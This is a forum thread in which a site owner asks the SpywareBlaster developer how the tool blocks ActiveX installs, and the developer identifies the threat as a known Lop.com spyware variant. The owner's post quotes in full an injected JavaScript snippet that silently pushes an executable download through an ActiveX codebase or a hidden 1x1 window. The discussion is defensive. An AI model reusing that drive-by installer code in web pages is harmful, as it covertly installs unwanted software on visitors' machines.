need info on how Spyware Blaster v1.1 works

[Synthetic]

I'm using a pop-up service to help pay for a forum, normally the pop-ups are fine but recently they started asking my members to download an activeX control that I think is a variant to the lop.com thing we had a while back, but i'm not totally sure.

Here is the script it add's to the page...

<script language=JavaScript>
<!-- Vanish
var baseURL = "http://www.my-site.com/";
var filename = "best-mp3-download.exe";

function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);

Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {

window.open("best-mp3-download.exe","_blank","height=1,width=1");
}

function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}

function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + filename);
if (WhichBrowser() == "NC") ncDownload();
}
// -->
</script>
<script language=JavaScript>
<!-- hide script
DownloadFile();
// -->
</script>
<!-- END ActiveX code -->
<!-- End Template: name -->

And here is a screenshot of the pop-up http://xtrea.com/img/popup.png

I want something I can give my user's that will keep them from being asked to download that, currently your program does not list that or isn't aware of it yet...

Anyway, if you could tell me how the program goes about blocking the other activeX plug-ins I'd like to try and do the same for this one.

I know the windows registry pretty well, but not really sure what I'm looking for yet...

*Thanks in advance for any help you can give, I hope this is ok to ask here?*

[javacool]

Perfectly OK to ask here. :)

This thread at DSLReports has a whole discussion on how SpywareBlaster works: http://www.dslreports.com/forum/remark,4840146~root=security,1~mode=flat

However, I might add that that IS a variant of Lop.com, and if you can post a link to where I can find it installing, I will gladly target it within 24 hours (with any luck). :) If you do not feel comfortable with posting a link to your site on these forums, simply PM me using this board's functions.

Or, as an alternative, you could simply post the link to the pop-up that tries to install this variant of lop.com / transponder (at this point, it could be either, or a whole new item, but I am almost positive it is spyware, seeing that it is coming from C2 Media).

UPDATE: This Lop.com item is already in the SpywareBlaster definitions. Run Check for Updates to make sure you have the latest version. It is named "Lop.com variant". If you still get a box asking you to download, after making sure this item is killed, clear your Temporary Internet Files.

Best regards,

-Javacool

[javacool]

*Bump* so updated text above is easily noticed. ;)

Regards,

-Javacool

[Synthetic]

Yeah sorry about that didn't think to clear my temporary files :-[

Your right it is the lop.com variant already in the program :D

Thanks for your help, it works great...

You don't mind some widespread free advertisement do you? I think I’m going to make an announcement about your product on our forums, and well with about 19,319 members you may get a little extra traffic from it ;D

[javacool]

-{ Quote: " quoting: Synthetic link=board=34;threadid=5242;start=0#34162 date=1038871588]
Yeah sorry about that didn't think to clear my temporary files :-[

Your right it is the lop.com variant already in the program :D

Thanks for your help, it works great...

You don't mind some widespread free advertisement do you? I think I’m going to make an announcement about your product on our forums, and well with about 19,319 members you may get a little extra traffic from it ;D
" }-

There shouldn't be a problem with spreading the word... ;)

Regards,

-Javacool